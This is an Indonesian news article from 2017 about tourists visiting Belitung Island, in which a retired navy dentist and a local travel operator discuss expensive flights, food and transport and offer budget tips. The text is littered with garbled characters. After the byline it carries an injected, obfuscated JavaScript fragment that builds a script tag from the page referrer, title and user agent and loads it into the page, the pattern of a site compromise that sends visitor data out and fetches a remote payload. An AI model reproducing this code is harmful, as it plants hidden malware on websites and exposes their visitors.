Wisatawan Ada Yang Ngomong, “Biaya Wisata ke Belitong Mahal, Tapi Tetap Jadi Pilihan”

KORANFORUM.COM, BELITUNG — Aktifitas liburan itu suatu hal yang menyenangkan, karena terkadang penuh diliputi kegembiraan dan hal-hal yang menyenangkan.

Tapi yang namanya liburan itu, terkadang juga tak selamanya bisa dinikmati semua orang.

Buktinya, tak semua orang bisa berlibur. Ai??Meskipun banyak orang di Indonesia ini, memilih untuk sibuk mencari uang agar dapat digunakan untuk biaya mengisi liburannya.

Hasil pantauan wartawan Tabloid Koran Forum (www.koranforum.com), banyak wisatawan berdatangan di sejumlah lokasi wisata di Pulau Belitong, khususnya wilayah Kota Tanjungpandan, Kabupaten Belitung, Ai??Provinsi Bangka Belitung (Babel), Minggu (19/11/2017), siang lalu.

Tampak saat itu, Ai??ada sejumlah wisatawan mancanegara (wisman) maupun wisatawan domestik, memilih liburan yang lokasinya dekat dari Ibukota Jakarta, karena mereka menilai lokasi ini merupakan pilihan berwisata yang tepat.

Ada juga salahsatu rombongan wisatawan, yang sempat Ai??dimintai komentarnya oleh wartawan media ini, saat liburan di Pulau Belitong, yaitu rombongan dari Lembaga Kedokteran Gigi (Ladokgi) TNI AL, dibawah pimpinan Laksamana Pertama (Lakstama) drg. Rijal.

Rupanya, drg. Rijal ini, adalah salahseorang Perwira Tinggi TNI AL, yang baru dua pekan memasuki masa pensiun.

Diungkapkannya, dirinya dan rombongannya punya alasan tersendiri, sehingga mau mengisi liburan ke Pulau Belitong. Pertimbangan utamanya, Pulau Belitong lokasinya Ai??dekat dari Kota Jakarta, karena hanya butuh waktu perjalanan penerbangan kurang lebih sekitar 45 menit saja.

“Rupanya, kita bisa keliling Pulau Belitong cukup hanya satu hari atau dua hari saja, karena sarana maupun prasarana di Belitong ini cukup memadai, seperti jalan yang mulus dan jumlah kendaran yang masih sedikit, sehingga tidak mengalami kemacetan seperti yang biasa dialami di kota-kota besar, baik itu di Jakarta maupun wilayah sekitarnya.Ai??Untuk itu, pilihan liburan ke Pulau Belitong adalah pilihan yang paling tepat,” ungkap drg. Rijal, yang juga mantan Kepala Ladokgi TNI AL RE. Martadinata, Jakarta Pusat.

Namun ia juga berkomentar, dibalik pilihan liburan ke Pulau yang dikenal dengan sebutan “Bumi Laskar Pelangi” ini, karena dinilai yang paling dekat dari Ibukota Jakarta, maka perlu diperhatikan juga masalah harga tiket pesawat yang cukup tinggi, terutama di waktu Peak Season.

Kondisi ini, Ai??membuat dirinya dan mungkin para wisatawan lainnya, sedikit harus lebih dalam “menggocek” kantongnya.

Sementara itu, salahseorang pelaku wisata di Belitong, Yulian Dodi, mengungkapkan, bahwa selain mengeluhkan tingginya harga tiket, ada juga para wisatawan yang mengomentari masalah harga makanan yang dijual, yang dinilai mereka cukup berharga mahal.

“Seperti harga makanan yang cukup mahal dan biaya transportasi, juga menjadi perhatian para wisatawan, selama berkunjung ke Pulau Belitong ini. Terkadang para wisatawan mengeluhkan kenyataan ini,” ungkap Yulian Dodi, selaku owner Travel Joycome Billiton.

Karena itu, Dodi menjelaskan, pihaknya selaku pramu pariwisata, selalu berusaha memberikan pelayanan yang terbaik bagi para wisatawan, untuk mendukung kemajuan pariwisata di Pulau Belitong ini.

“Karena itu, kami sangat berharap, semoga saja kondisi mahalnya biaya liburan ke Belitong ini, tidak sampai menjadi hambatan bagi wisatawan untuk berlibur ke sini, Ai??baik itu untuk istirahat sambil bersantai, Ai??maupun sekedar melepas penatnya setelah tingginya aktifitas di Jakarta,” ucap Dodi lagi.

Menurut Dodi, Belitong saat ini sudah menjadi pilihan tempat wisata favorit. Namun dibalik keindahannya yang menjadi tempat wisata favorit ini, mungkin disatu sisi bisa membuat bangga, namun satu sisi lainnya ada kesulitan untuk bisa menikmati potensi keindahan di Pulau Belitong ini.

Diungkapkan Dodi lagi, memang harus diakui, hampir seluruh harga jual atas kebutuhan dan perlengkapan liburan ke Belitong ini, dapat dikatakan selangit harganya. Salahsatu buktinya adalah harga tiket pesawat. Sekarang ini, besaran harga tiket pesawat dan juga transportasi di Belitong, sudah bisa dinilai mahal.

Meski kondisinya demikian, para wisatawan jangan sampai berkecil hati, karena wisatawan tetap bisa liburan ke Belitong, hanya dengan membawa budjet yang terbatas.

“Caranya adalah dengan melakukan penghematan, yaitu dengan menekan budjet tersebut, agar tak terjadi pengeluaran biaya diluar batas kemampuan. Maka tenang saja, menekan budjet ini, gak akan bakalan mengurangi kenikmatan saat berlibur kok,” tandas Yulian Dodi, di sela menemani rombongan Ladokgi TNI AL, kepada wartawan Tabloid Koran Forum, Minggu (19/11/2017) lalu. (iswandi) \x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *